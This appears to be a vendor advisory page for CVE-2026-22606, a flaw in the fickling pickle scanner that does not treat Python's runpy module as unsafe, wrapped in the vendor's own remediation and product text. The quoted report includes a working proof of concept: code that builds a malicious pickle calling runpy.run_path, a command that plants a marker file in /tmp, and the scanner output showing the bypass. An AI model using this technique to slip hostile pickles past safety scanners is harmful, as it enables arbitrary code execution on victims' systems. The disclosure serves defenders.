How severe is CVE-2026-22606?

No CVSS score has been assigned to CVE-2026-22606 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-22606?

CVE-2026-22606 affects the following packages: fickling (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-22606?

Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22606 is resolved across your whole dependency graph.

How do I detect CVE-2026-22606 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-22606 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-22606?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22606 can be triaged on real exposure rather than presence alone.

Is CVE-2026-22606 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-22606 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-22606?

CVE-2026-22606 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 41th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-22606?

CVE-2026-22606 is classified as CWE-184 (CWE-184), Deserialization of Untrusted Data (CWE-502). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-22606 published, and has it been updated?

CVE-2026-22606 was published on January 10, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2026-22606 — fickling

Fix: trailofbits/fickling@9a2b3f8

CVE-2026-22606 is a CWE-184 vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.

Fickling has a bypass via runpy.run_path() and runpy.run_module()

Also known asGHSA-wfq2-52f7-7qvjPYSEC-2026-1373

Published

Jan 10, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22606.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

File: fickling/analysis.py
Class: UnsafeImports
Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

PR #187 added pty to the blocklist to fix CVE-2025-67748
PR #108 documented the blocklist approach
The same fix pattern should be applied for runpy

How the bypass works:

Attacker creates a pickle using runpy.run_path() in __reduce__
Fickling's UnsafeImports analysis does not flag runpy as dangerous
Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function	Fickling Severity	RCE Capable
os.system	LIKELY_OVERTLY_MALICIOUS	Yes
eval	OVERTLY_MALICIOUS	Yes
exec	OVERTLY_MALICIOUS	Yes
runpy.run_path	SUSPICIOUS	Yes ← BYPASS
runpy.run_module	SUSPICIOUS	Yes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

runpy
runpy.run_path
runpy.run_module
runpy._run_code
runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

Python 3.13.2
fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH

The attacker achieves arbitrary code execution
The security control (fickling) is specifically designed to prevent this
The bypass requires no special conditions beyond crafting the pickle with runpy

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`fickling`	all versions	0.1.7`pip install --upgrade 'fickling==0.1.7'`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22606 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22606 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-22606. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Fickling's assessment `runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66). # Original report ### Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on thei

O3 Security · Impact-Aware SCA

Is CVE-2026-22606 in your dependencies?

O3 Security finds CVE-2026-22606 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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